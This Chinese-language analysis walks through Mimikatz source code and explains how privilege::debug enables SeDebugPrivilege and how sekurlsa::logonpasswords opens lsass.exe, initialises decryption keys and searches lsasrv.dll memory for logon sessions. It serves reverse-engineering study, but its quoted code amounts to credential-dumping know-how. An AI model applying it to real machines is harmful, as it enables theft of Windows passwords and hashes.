Mimikatz分析
目录
一些不太重要的代码就用图代替了。
从输入命令到privilege::debug
程序开启,进入wmain函数 。
先调用一个mimikatz_begin 输出logo以及做一些基本的准备工作(具体是啥准备工作就不管了)
wmain中往下,调用mimikatz_dispatchCommand 并传入输入mimikatz的参数,这个函数检测输入的第一个字符是否为!或者*或者其他,然后使逻辑进入下一层。一般来说,mimikatz中我们输入的命令第一个字符都不是!或者*,所以会把我们的输入传入mimikatz_doLocal进行一个处理。
这个函数会先将输入的字符分为module和command两部分,moudule就是::前的部分,command就是::后的部分。(privilege::debug privilege是module,debug是command)。然后循环遍历mimikatz_modlues结构体,直到找到对应的module中对应的command,然后执行其pCommand方法。
一个mimikatz_modlues结构体的布局如下,这里以privilege为例。
privilege::debug会调用kuhl_m_privilege_debug方法,其核心便是通过RtlAdjustPrivilege函数获取SeDebugPrivilege权。
TSTATUS kuhl_m_privilege_debug(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_DEBUG); \\SE_DEBUG的值是定义好的20,即SeDebugPrivilege对应的权限参数。
}
NTSTATUS kuhl_m_privilege_simple(ULONG privId)
{
ULONG previousState;
NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState); \\为当前进程获取SeDebugPrivilege权限
if(NT_SUCCESS(status))
kprintf(L"Privilege \'%u\' OK\n", privId);
else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);
return status;
}
这里它用到了一个关键API ,RtlAdjustPrivilege。这个API没有官方解释,但是根据民间的测试,它具有提权功能。
NTSTATUS RtlAdjustPrivilege
(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
)
Privilege [In] Privilege index to change.
// 所需要的权限名称,可以到 MSDN 查找关于 Process Token & Privilege 内容可以查到
Enable [In] If TRUE, then enable the privilege otherwise disable.
// 如果为True 就是打开相应权限,如果为False 则是关闭相应权限
CurrentThread [In] If TRUE, then enable in calling thread, otherwise process.
// 如果为True 则仅提升当前线程权限,否则提升整个进程的权限
Enabled [Out] Whether privilege was previously enabled or disabled.
// 输出原来相应权限的状态(打开 | 关闭), 注意:该参数赋予空指针会出错,我测试过。
返回值大于等于0代表成功获得权限,小于0代表获取权限失败。
mimikatz中出现过的特殊语法
((LONG)(LONG_PTR)&(((type *)0)->field))
这里的type是一个结构体,field是结构体中的一个数据类型,通过这个语句可以得知field的在结构体中的偏移量
“ANSI C标准允许值为0的常量被强制转换成任何一种类型的指针, 并且转换结果是一个NULL指针,因此((type *)0)的结果就是一个类型为type *的NULL指针。 如果利用这个NULL指针来访问type的成员当然是非法的, 但&( ((type *)0)->field )的意图仅仅是计算field字段的地址。 聪明的编译器根本就不生成访问type的代码, 而仅仅是根据type的内存布局和结构体实例首址在编译期计算这个(常量)地址, 这样就完全避免了通过NULL指针访问内存的问题。 又因为首址为0,所以这个地址的值就是字段相对于结构体基址的偏移。
以上方法避免了实例化一个type对象,并且求值在编译期进行,没有运行期负担”
mimikatz常见API
kull_m_memory_copy
BOOL kull_m_memory_copy(OUT PKULL_M_MEMORY_ADDRESS Destination, IN PKULL_M_MEMORY_ADDRESS Source, IN SIZE_T Length)
根据Destination和Source的type,采取不同的行动,大致上是把Source中的某值放入Destination某处。
比较常见的type组合为Destination为KULL_M_MEMORY_TYPE_OWN,Source为KULL_M_MEMORY_TYPE_PROCESS。 这样就会把Source->hMemory->pHandleProcess->hProcess (指定的某进程句柄)偏移Source->address(进程中的偏移量)处获得的地址放入Destination->address ,例如将lsass进程句柄偏移到PEB后的内容放入Destination.address指针所指区域
rekurlsa
logonpasswords
rekurlas::logonpasswords,mimikatz最常用到的命令之一,用于从LSA中dump出明文密码或者hash。 但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。
pCommand执行了如下的命令
NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[])
{
return kuhl_m_sekurlsa_getLogonData(lsassPackages, ARRAYSIZE(lsassPackages));
}
lsassPackages 是一个结构体,记录了安全相关模块的一些信息
继续往下跟进
NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
{
KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);
}
可以发现kuhl_m_sekurlsa_enum 使用了回调函数kuhl_m_sekurlsa_enum_callback_logondata,关于回调函数可以看看菜鸟教程的解释https://www.runoob.com/w3cnote/c-callback-function.html。跟进kuhl_m_sekurlsa_enum,这个函数很长,分开来看。
初始化各种变量,并调用kuhl_m_sekurlsa_acquireLSA方法
KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData;
ULONG nbListes = 1, i;
PVOID pStruct;
KULL_M_MEMORY_ADDRESS securityStruct, data = {&nbListes, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
BOOL retCallback = TRUE;
const KUHL_M_SEKURLSA_ENUM_HELPER * helper;
NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); //input information about lsass to cLsass
前面一堆是初始化一些变量,然后调用kuhl_m_sekurlsa_acquireLSA,这个函数大体是将lsass的一些信息放入cLsass变量,cLsass变量是sekurlsa模块文件( KUHL_M_SEKURLSA.c)中的一个结构体变量。
KUHL_M_SEKURLSA_CONTEXT cLsass = {NULL, {0, 0, 0}};
cLsass刚初始化时
我们跟进kuhl_m_sekurlsa_acquireLSA方法,看它具体是做了什么。
kuhl_m_sekurlsa_acquireLSA 初始化变量并获取LSASS进程句柄
进去以后先定义一大堆变量
NTSTATUS status = STATUS_SUCCESS;
KULL_M_MEMORY_TYPE Type;
HANDLE hData = NULL;
DWORD pid, cbSk;
PMINIDUMP_SYSTEM_INFO pInfos;
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE;
PBYTE pSk;
紧随其后的是一大块嵌套if。第一层if便是判断cLsass中hLsassMem是否为false值,很显然是的(初始化定义的时候就是null,cLsass在初始化后还没有任何变动。)
然后在第二层if里判断pMinidumpName的真值(Minidump也是一个Command,用于离线提取hash),这个属性和cLsass一样也是存在于模块文件中的变量且默认为FALSE,所以会调用kull_m_process_getProcessIdForName函数(这个就先不细跟了)去获取lsass进程的进程pid并通过OpenProcess获取其进程句柄
if(!cLsass.hLsassMem)
{
status = STATUS_NOT_FOUND;
if(pMinidumpName)
{
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
}
else
{
Type = KULL_M_MEMORY_TYPE_PROCESS;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid)) //获取lsass.exe的pid
hData = OpenProcess(processRights, FALSE, pid); //获取lsass.exe的进程句柄
else PRINT_ERROR(L"LSASS process not found (?)\n");
}
kuhl_m_sekurlsa_acquireLSA 向cLsass写入版本信息
再然后便是另外一个第二层的嵌套if判断逻辑,很多,但逻辑不难。 第二层lf判断了OpenProcess获取lsass.exe进程句柄是否成功
第三层if调用kull_m_memory_open并判断其返回值真值,这个函数根据传入的Type的值来采取不同行动,但大致都是将句柄塞进第三个参数指定的结构体的某处
第四层if判断Type值是否为KULL_M_MEMORY_TYPE_PROCESS_DMP,很显然不是的,sekurlsa::logonpasswords到这里不会进一步跟进了
在windows中会直接进入到给cLsass赋值,将版本信息等赋值到cLsass结构体中
kuhl_m_sekurlsa_acquireLSA 生成CNG句柄
过后还有一个第四层If判断,它判断isError这个变量的真值。这个变量初始定义为false,所以代码会跟进这个if,这一层主要是给lsassLocalHelper变量赋值,这个变量会因为windows版本不同而不同,主要用于记录lsass进程的一些辅助信息
随后在接下来的第五层if里会调用lsassLocalHelper结构体中的initLocalLib方法并通过一个宏判断其返回值
(#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0))
if(!isError)
{
lsassLocalHelper =
#if defined(_M_ARM64)
&lsassLocalHelpers[0]
#else
(cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
#endif
;
if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
{
//code
}
NTSTATUS kuhl_m_sekurlsa_nt6_init()
{
if(!NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit))
kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory();
return kuhl_m_sekurlsa_nt6_KeyInit;
}
NTSTATUS kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory()
{
NTSTATUS status = STATUS_NOT_FOUND;
ULONG dwSizeNeeded;
__try
{
status = BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0);
if(NT_SUCCESS(status))
{
status = BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if(NT_SUCCESS(status))
{
status = BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0);
if(NT_SUCCESS(status))
k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey);
}
}
if(NT_SUCCESS(status))
{
status = BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0);
if(NT_SUCCESS(status))
{
status = BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
if(NT_SUCCESS(status))
{
status = BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0);
if(NT_SUCCESS(status))
kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey);
}
}
}
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){}
return status;
}
以下是CNG API:
打开算法提供者:
BCryptOpenAlgorithmProvider
导入密钥:
BCryptGenerateSymmetricKey
创建密钥:
BCryptCreateHash
BCryptHashData
BCryptFinishHash
BCryptGenerateSymmetricKey
获取或设置算法属性:
BCryptGetProperty
BCryptSetProperty
执行加解密操作:
BCryptEncrypt
BCryptDecrypt
枚举提供者:
BCryptEnumRegisteredProviders
关闭算法提供者:
BCryptCloseAlgorithmProvider
销毁密钥:
BCryptDestroyKey
销毁哈希:
BCryptDestroyHash
可以在刚刚的代码里看见BCryptOpenAlgorithmProvider这种API,这种API用于密钥的生成。
NTSTATUS BCryptOpenAlgorithmProvider(
BCRYPT_ALG_HANDLE *phAlgorithm, //接收CNG 句柄
LPCWSTR pszAlgId, //加密模式
LPCWSTR pszImplementation, //选定provider,如果为NULL则选用加密模式对应的默认provider
ULONG dwFlags //定义函数具体行为
);
https://docs.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptopenalgorithmprovider
NTSTATUS BCryptSetProperty(
BCRYPT_HANDLE hObject, //CNG句柄
LPCWSTR pszProperty, //需要被设置的属性名
PUCHAR pbInput, //存储新属性值的缓冲区地址
ULONG cbInput, //缓冲区大小
ULONG dwFlags //一直为0
);
NTSTATUS BCryptGetProperty(
BCRYPT_HANDLE hObject, //CNG句柄
LPCWSTR pszProperty, //需要被接受的属性名
PUCHAR pbOutput, //接收属性值的缓冲区地址
ULONG cbOutput, //缓冲区大小
ULONG *pcbResult, //一个用来接收被复制到缓冲区的字节数量的变量
ULONG dwFlags //一直为0
);
kuhl_m_sekurlsa_acquireLSA 核心部分
在if条件中生成CNG 句柄后,到这里就接近sekurlsa::logonpasswords的核心部分了 进入到此IF中一开始会根据windows版本来判断一些windows认证功能是否可用(livessp,tspkg,cloudap)
if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
{
#if !defined(_M_ARM64)
kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
#endif
kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent) //获取lsass中相关DLL的信息,若某dll存在则在lsasspackages变量中将其标记
{
kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module)) //通过LsaSrv.dll获取登录会话(lsasrv.dll是一个用于winnt操作系统的本地安全密码验证的动态链接库文件)
{
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations); //提取用户密码的密钥
if(!NT_SUCCESS(status))
PRINT_ERROR(L"Key import\n");
}
else PRINT_ERROR(L"Logon list\n");
}
else PRINT_ERROR(L"Modules informations\n");
}
扫描lsass进程LDR链获取DLL信息
然后便是通过kull_m_process_getVeryBasicModuleInformations方法来获取lsass中相关DLL的信息,若某dll存在则在lsasspackages变量中将其标记 如下图,isPresent为1则标识该dll存在
通过lsasrv.dll获取登录会话
向下,通过kuhl_m_sekurlsa_utils_search来通过LsaSrv.dll获取用户登录会话信息。具体是通过字符串匹配dll中的信息来达到获取用户登录会话信息的目的 我们跟进它,跟下去,会来到此处
currentReference是根据版本确定的lsasrv详细信息,被定义在如下结构体,为如下结构体中的一项
这里解释一下kull_m_memory_search中各参数意义: aLocalMemory.address 表示lsasrv.dll的一个地址,
第二个参数currentReference->Search.Length比较简单,就是用于指定搜索长度
sMemory比较重要,
KULL_M_MEMORY_SEARCH sMemory = {{{pLib->Informations.DllBase.address, cLsass->hLsassMem}, pLib->Informations.SizeOfImage}, NULL};
address记录lsasrv.dll在lsass进程中的偏移量(在kuhl_m_sekurlsa_msv_package.Module中定义的),hMemory记录lsass句柄的相关信息
我们跟进方法kull_m_memory_search
BOOL kull_m_memory_search(IN PKULL_M_MEMORY_ADDRESS Pattern, IN SIZE_T Length, IN PKULL_M_MEMORY_SEARCH Search, IN BOOL bufferMeFirst)
会来到此处。
我们发现再一次调用了kull_m_memory_search,跟进会来到这里。这里的作用便是从lsass进程lsasrv.dll内存内容的开始一直循环查询,直到在lsasrv.dll内存内容中查询到与currentReference->Search.Pattern 表示的地址内容一致的 地址
BOOL WINAPI
RtlEqualMemory(
void* Destination,
void* Source,
size_t Length
);
The RtlEqualMemory routine compares two blocks of memory to determine whether the specified number of bytes are identical.
然后便是把CurrentPtr的信息放入sBuffer.result ,第二层kull_m_memory_search结束 第一层kull_m_memory_search通过sBuffer.result中的信息得到执行所找到的区域的指针,然后将该指针传出来放到sMemory.result里,再由一系列变化获得指向登陆令牌的指针